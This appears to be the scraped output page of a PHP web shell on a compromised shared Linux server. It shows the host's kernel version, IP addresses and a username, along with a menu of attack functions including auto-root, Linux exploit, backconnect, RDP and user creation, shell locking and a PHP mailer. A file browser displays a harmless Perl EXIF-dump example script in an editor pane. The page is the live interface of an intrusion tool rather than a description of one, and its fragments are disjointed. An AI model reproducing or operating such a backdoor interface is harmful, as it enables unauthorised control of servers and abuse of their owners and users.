Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libimage-info-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
exifdump
825
B
-rwxr-xr-x
imgdump
178
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exifdump
#!/usr/bin/perl -w use lib 'lib'; use strict; use Image::Info qw(image_info); my $i=image_info($ARGV[0]); foreach (sort keys %$i) { if ($i->{$_} =~ /[\001-\037\177-\377]/ && !/error/) { printf "%s ->\n" ,$_; hex_print($i->{$_}); next; } $i->{$_} =~ s/\000//g; printf "%s -> %s\n" ,$_, ref($i->{$_}) ? deref(@{$i->{$_}}) : $i->{$_} }; sub deref { my @args; if (ref($_[0]) eq 'ARRAY') { foreach my $ref (@_) { push(@args, deref(@{$ref})) } } else { @args = @_; } '[' . join(',',@args) . ']'; } sub hex_print { for (my $i=0; $i<length $_[0];$i+=16) { my $ss = substr($_[0],$i,16); printf " %04x: %s ", $i, join(' ',grep !/^$/,split(/(..)/,unpack("H*",$ss))); $ss =~ tr /\000-\037\177-\377/./; print $ss,"\n"; } }
Close
